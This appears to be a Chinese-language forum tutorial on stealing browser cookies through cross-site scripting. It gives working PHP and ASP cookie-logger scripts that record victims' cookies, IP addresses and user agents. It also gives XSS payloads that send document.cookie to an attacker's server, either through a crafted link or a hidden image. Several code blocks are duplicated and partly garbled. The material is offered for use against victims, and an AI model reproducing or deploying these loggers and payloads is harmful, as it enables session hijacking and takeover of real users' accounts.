使用的工具 ：
1.免费网页 支援PHP
2.存在xss的脆弱的网站 。
vb.php 为存放cookie 的网页
PHP Code:
<head>
<meta http-equiv="Content-Language" content="it">
<title>Cook ie s Stealther - Designed and programmed by R00t[ATI]</title>
</head>
<body bgcol or ="#C0C0C0">
<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left"> </p>
</body>
<meta http-equiv="Content-Language" content="it">
<title>Cook ie s Stealther - Designed and programmed by R00t[ATI]</title>
</head>
<body bgcol or ="#C0C0C0">
<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left"> </p>
</body>
documents.php取得cookie的网页PHP Code:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[c];
$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";
$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");
?>
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[c];
$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";
$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");
?>
Vb.php文件是用来收集Cookie和其他信息。
documents.php文件用于抓取资料如： IP地址，用户代理和cookie 。
现在，我们需要找到脆弱网站跨站 点脚本 （ XSS ） 。在这之后插入一个脚本调用documents.php是抓住文件的Cookie使用的方法 documents.php?c="+document.cookie;如下例子:
Code:
http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>
当受害者点到这个连结时cookie就被偷走了会存放在vb.php里面
相关代码：
<script>document.write('<img src="http://url/news.
asp ?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代码：
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>
PHP版代码：
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
